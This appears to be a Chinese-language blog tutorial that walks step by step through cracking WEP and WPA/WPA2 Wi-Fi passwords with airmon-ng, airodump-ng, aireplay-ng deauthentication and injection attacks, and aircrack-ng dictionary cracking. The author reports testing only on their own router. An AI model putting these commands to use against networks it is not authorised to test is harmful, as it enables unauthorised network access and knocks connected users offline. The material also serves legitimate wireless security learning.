1.首先請不要使用此方法去搞破壞,去蹭Wi-Fi,因為不裝逼地說,我認為技術(shù)本身的價值很大,尤其是在學(xué)習(xí)這個技術(shù)的過程中解決遇到的問題,當(dāng)經(jīng)過重重困難最后終于成功之后的喜悅又怎么能拿去蹭網(wǎng)呢。我在此過程中都是用自己路由做的測試,相信大家也可以從文中看到,所以請不要用技術(shù)做一些不好的事情。
2.歡迎使用Kali Linux 的朋友互相交流,大家共同進步學(xué)習(xí)。
索引:
1.工具
2.需要了解的知識
3.破解WEP
4.破解WPA/WPA2
5.其他
6.Q&A
7.參考文章
1.用到的工具:
Airodump-ng 獲取 AP 的 MAC 信息,連接信息以及是否握手成功。
Aircrack-ng 支持基于 802.11 協(xié)議的 WEP 和 WPA/WPA2-PSK 密碼破解
Aireplay-ng 強行向目標(biāo) AP 發(fā)送數(shù)據(jù)包
Airmon-ng 開啟無線網(wǎng)卡的監(jiān)視模式
Wordlists.txt 字典包
2.需要了解的知識:
AP(Access Point): 網(wǎng)絡(luò)接入點,是一種連接無線或有線網(wǎng)絡(luò)的設(shè)備。就是我們俗稱的路由器。
MAC(Media Access Control Address): 相當(dāng)于網(wǎng)卡的身份證,MAC 地址本身是不能修改,但是可以通過偽造MAC 地址欺騙AP。
WEP(Wireless Encryption Protocol): 無線加密協(xié)議。很早的一種加密協(xié)議,容易破解。
WPA/WPA2(Wi-FiProtected Access): 基于WEP更安全的加密系統(tǒng)。
Handshake:握手。我的理解相當(dāng)于三次握手。
IV(Initialization Vector)s:初始化向量。
3.破解 WEP 加密的 Wi-Fi 流程(現(xiàn)在基本沒人用WEP,只做步驟演示):
3.1
<code>iwconfig #確認網(wǎng)卡信息。</code>
表示設(shè)備WLAN0待命并且當(dāng)前模式為被管理(Managed)。
3.2
<code>airmon-ng start wlan0 #激活網(wǎng)卡至監(jiān)視模式。</code>
會發(fā)現(xiàn)不能正常開啟,有5 個進程會導(dǎo)致錯誤。
解決方案:
(1).
<code>ifconfig wlan0mon down #先取消wlan0mon網(wǎng)卡模式</code>
<code>iwconfig wlan0mon mode monitor #直接設(shè)置wlan0mon為監(jiān)視模式</code>
<code>ifconfig wlan0mon up #喚醒wlan0mon</code>
(2). 第2 步開始前, <code>airmon-ng check kill</code>,自動檢查沖突程序并強制關(guān)閉。
使用<code>iwconfig</code>查詢發(fā)現(xiàn) wlan0mon 為監(jiān)視模式
3.3 <code>airodump-ng wlan0mon #獲取附近AP 信息。</code>
看到名為 TEST-jglimmers 的路由器信息。
這里解釋幾個參數(shù):
BSSID(Basic Service SetIdentifier): AP 的MAC 地址。
ESSID(The Extended Service Set Identifier): AP 的名稱。
PWR(Power): 信號強度。
Beacons: AP發(fā)出的通告編號,每個接入點(AP)在最低速率(1M)時差不多每秒會發(fā)送10個左右的beacon,所以它們能在很遠的地方就被發(fā)現(xiàn)。
#Data:當(dāng)前數(shù)據(jù)傳輸量。
#/s:過去10秒鐘內(nèi)每秒捕獲數(shù)據(jù)分組的數(shù)量。
CH(Channel): AP 所在的頻道。
MB: AP 的最大傳輸速度。MB=11 => 802.11b,MB=22 => 802.11b+, MB>22 => 802.11g。后面帶.的表示短封包標(biāo)頭,處理速度快,更利于破解。
ENC(Encryption): 使用的加密算法體系。
CIPHER: 檢測到的加密算法。#這個和ENC 的區(qū)別我確實不明白,有沒有知道的朋友可以告訴我。
AUTH(Authority): 認證方式。
Elapsed: 用過的時間。
記錄 TEST-jglimmers 的 MAC 地址(BSSID),頻道(CH)。
BSSID: 88:25:93:5A:B5:6A
CH: 1
3.4 <code>airodump-ng --ivs -w 文件地址 --bssid BSSID wlan0mon #開始抓包, -w(write) 抓到的包保存的位置, --ivs表示只保留IVs 文件。(IVs 在2 中已解釋)</code>
可以看到有一臺 MAC 地址為 48:74:6E:2B:70:02 的設(shè)備在連接 AP 。
重新開一個終端進行下一步
3.5 <code>aireplay-ng -3 -b BSSID -h 客戶端MAC wlan0mon #理論上來講不用這一步,但是我們可以使用這條命令向 AP 發(fā)送大量數(shù)據(jù)包更快取得數(shù)據(jù)包。</code>
可以看到在第3.4 步開啟的終端中有大量數(shù)據(jù)。
3.6 <code>aireplay-ng -0 10 -a 88:25:93:5A:B5:6A -c 68:17:29:26:C3:16 wlan0mon #如果發(fā)現(xiàn)像我一樣得到的數(shù)據(jù)較少可嘗試發(fā)送數(shù)據(jù)包</code>
3.7 <code>aircrack-ng01.ivs #01.ivs 在第 3.4 步的文件夾當(dāng)中.</code>
等待破解成功。
4.破解 WPA/WPA2 加密的 Wi-Fi 流程
前面的過程和 3.1,3.2,3.3 一樣。使 wlan0mon 處于監(jiān)視模式下
4.1 <code>airodump-ng --bssid BSSID -c CH -w 文件位置 wlan0mon #-w 是抓的包輸出目錄,注意加-c,不然airodump-ng會每個頻道都會試,一直亂跳,下一步工作不好進行。</code>
這時返回的數(shù)據(jù)表示連接上此AP 的設(shè)備信息。
重新開啟一個終端,進行下一步
4.2 <code>aireplay-ng -0 10 -a BSSID -c STATION wlan0mon #-0 表示DeAuth模式,10表示攻擊次數(shù),-c是第3 步中的得到的STATION,即已連接上的客戶端MAC 地址。</code>
Wi-Fi的連接過程大概有三種,發(fā)現(xiàn)(Unauthenticated & Unassociated,未認證,未連接)-認證(Authenticated & Unassociated,認證,未連接)-連接(Authenticated & Associated,認證,連接)。
-0(DeAuth模式): 向客戶端發(fā)送數(shù)據(jù)包,讓客戶端誤以為是AP 發(fā)送的數(shù)據(jù)。
<code>aireplay-ng -0 10 -a BSSID-c 客戶端的 MAC wlan0mon</code>
-1(Fake authentication 模式):在WEP中允許兩種認證類型(開放系統(tǒng)和共享密鑰)連接AP,我們在路由器設(shè)置頁面可以看到。當(dāng)我沒發(fā)現(xiàn)4.1 中沒有客戶端連接時候可以使用此攻擊模式。
<code>aireplay-ng -1 0 -e ESSID -a AP的MAC -h 自己的MAC -y sharedkeyxor wlan0mon #0表示發(fā)送數(shù)據(jù)時間,-h 自己的MAC 可用<code>ifconfig</code>查詢,-y sharedkeyxor表示共享密鑰型,如果是開放系統(tǒng)則不用-y</code>
-2(Interactive packet replay):這個模式需要了解相關(guān)知識,可以去Interactivepacket replay 查看。
-3(ARPrequest replay): 可以了解相關(guān)知識 ARPrequest replay attack。
<code>aireplay-ng -3 -b AP的MAC -h 我們的MAC wlan0mon #可以加-r CAP.cap 加速進程,這個 CAP.cap 是上一次成功進行 ARP 連接的 cap 包。</code>
或者直接
<code>aireplay-ng -3 -r CAP.cap wlan0mon</code>
-4( KoreKchopchop):這個模式如果成功的話可以不用知道密碼直接解密WEP數(shù)據(jù)包,但是有些AP 不支持此模式。
<code>aireplay-ng -4 -b AP的MAC -h 我們的MAC wlan0mon</code>
-5(Fragmentation): 碎片模式,也不包含密碼信息,故不討論,可去Fragmentationattack 查看詳情。
-6(CafeLatte):可以直接從客戶端系統(tǒng)中直接獲取WEP密碼,但是必須從客戶端系統(tǒng)中獲取到ARP包,并加以處理后返回給客戶端。
<code>aireplay-ng -6 -b AP的MAC -h 我們的MAC -D TEST-jglimmers #-D表示取消AP 的探測</code>
-7(Hirte): 基于上一個模式的攻擊,也是需要ARP請求。
<code>aireplay-ng -7 -h 我們的MAC -D TEST-jglimmers</code>
-8(WPAMigration):這個模式在我看了官方文檔后感覺非常強大,強大到我想讓大家自己去 WPAMigration Mode 看看。它可以將WPA強制轉(zhuǎn)換成 WEP 解密,但是僅限思科的 AP(>=IOSReleases 12.2(11)JA),并且同時連接了 WEP 和 WPA 的客戶端。
-9(Injection test): 測試一下網(wǎng)卡是否連接成功,其實我們在3.2 就已經(jīng)成功,不過還是可以驗證一下。
<code>aireplay-ng-9 -a AP的MAC-i wlan1wlan0mon# wlan1是模擬的一個AP。</code>
這時能看到第1 步中的設(shè)備出現(xiàn)了大量數(shù)據(jù)讀取。
4.3 等待握手。
當(dāng)經(jīng)過第2 步發(fā)送大量數(shù)據(jù)包之后只要發(fā)現(xiàn)第1 步中右上角出現(xiàn)了 handshake: AP的MAC(BSSID),就可以 CRTL+C 停止。
4.4 <code>aircrack-ng -w Wordlists.txt CAP-01.cap #-w表示字典包的路徑, CAP 表示第 1 步中保存的文件中 -01.cap 文件,因為我們對每個 AP 的嘗試可能不止一次,所以 airodump-ng 會自動在文件名后加類似01,02這樣的數(shù)字表示次數(shù),所以記得最后破解的時候輸入正確的 CAP 包名稱。</code>
破解的速度一般顯卡也就這樣,其實我們也可以根據(jù) GPU 加速,但是我曾經(jīng)經(jīng)過好幾個月的試驗最后發(fā)現(xiàn)我的顯卡不支持 GPU 加速。
4.5 等待 KEY FOUND!
破解成功。
5.其他
推薦一個字典生成工具 Crunch.
6.Q&A
Q: 修改成監(jiān)視模式(Monitor)失敗。
A:
(1).
<code>ifconfigwlan0mondown #先取消wlan0mon網(wǎng)卡模式</code>
<code>iwconfigwlan0monmode monitor #直接設(shè)置wlan0mon為監(jiān)視模式</code>
<code>ifconfigwlan0monup #喚醒wlan0mon</code>
(2). 所有工作開始前 <code>airmon-ngcheck kill</code> 自動檢查沖突程序并強制關(guān)閉。
Q:破解之后不能正常聯(lián)網(wǎng)。
A:
<code>ifconfigwlan0mondown</code>
<code>iwconfigwlan0monmode managed</code>
<code>ifconfigwlan0monup</code>
因為之前將 wlan0mon 改成了 監(jiān)視模式(Monitor),現(xiàn)在要改回來(Managed)。
Q:不能握手。
A:嘗試物理距離靠近路由,重復(fù)發(fā)送數(shù)據(jù)包,再等等。
Q:不能破解。
A:換強字典包。
Q:破解速度太慢。
A:嘗試 GPU 加速,或使用 hashcat 加速。
7.參考文章
http://www.aircrack-ng.org/documentation.html
http://www.aircrack-ng.org/doku.php?id=airodump-ng
http://www.aircrack-ng.org/doku.php?id=fake_authentication